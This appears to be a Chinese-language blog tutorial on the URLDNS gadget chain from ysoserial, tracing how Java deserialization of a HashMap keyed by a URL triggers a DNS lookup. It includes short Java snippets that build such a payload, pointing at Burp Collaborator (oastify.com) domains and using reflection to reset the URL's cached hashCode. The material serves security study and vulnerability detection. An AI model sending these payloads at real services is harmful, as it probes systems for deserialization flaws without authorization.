Featured image of post java反序列化之URLDNS链

java反序列化之URLDNS链

java链子之URLDNS链

这是ysoserial的URLDNS链

首先选择HashMap,这里首先满足了继承Serializable

再寻找source,找到重写的readObject

Key 与 Value 的值执行了<font style="color:rgb(51, 51, 51);">readObject</font>的操作,再将 Key 和 Value 两个变量扔进<font style="color:rgb(51, 51, 51);">hash</font>这个方法里,我们再跟进(ctrl+鼠标左键即可) hash 当中

如果传入的key不为null,则进入hashCode方法,跟进hashCode方法

是Object类的方法,满足调用常见的函数

原理

URL是hashMap的put方法产生的

put调用hash方法,参数为key

这里再调用keyhashCode方法

HashMapURL共有的hashCode方法,从而链接到一起

1
2
3
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL("DNS请求"),1);
key就是URL的类

跟进URL,因为key.hashCode(),key又是new URL,所以这里会调用URL的hashCode方法

发现是handler调用了hashCode方法,继续跟进

跟进到URLStreamHandler类,寻找hashCode方法

InetAddress addr = getHostAddress(u);对u进行了操作,跟进

getHostAddress

这里就是对域名解析,然后可以检测DNS是否查询来判断反序列化漏洞

利用

1
2
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL("http://ylnjtzpu0nc2fpf8pskzf64kgbm2a4yt.oastify.com"),1);

运行序列化后,发现触发了DNS查询

跟进URL的hashCode的

hashCode一开始就是-1,所以会直接执行handler.hashCode从而触发DNS查询,这样会混淆是否是反序列化的时候触发

所以需要再序列化的时候将hashCode的值改为不是-1的值

因为hashCode是私有属性,需要通过反射来修改

1
2
3
4
5
6
7
8
9
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url =  new URL("http://g9q1hhdco50k373qda8h3os24takybqzf.oastify.com");
Class c =url.getClass();
Field hashcode = c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
hashmap.put(url,1);

hashcode.set(url,-1);

通过反射修改后就不会出现上面的情况了

最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计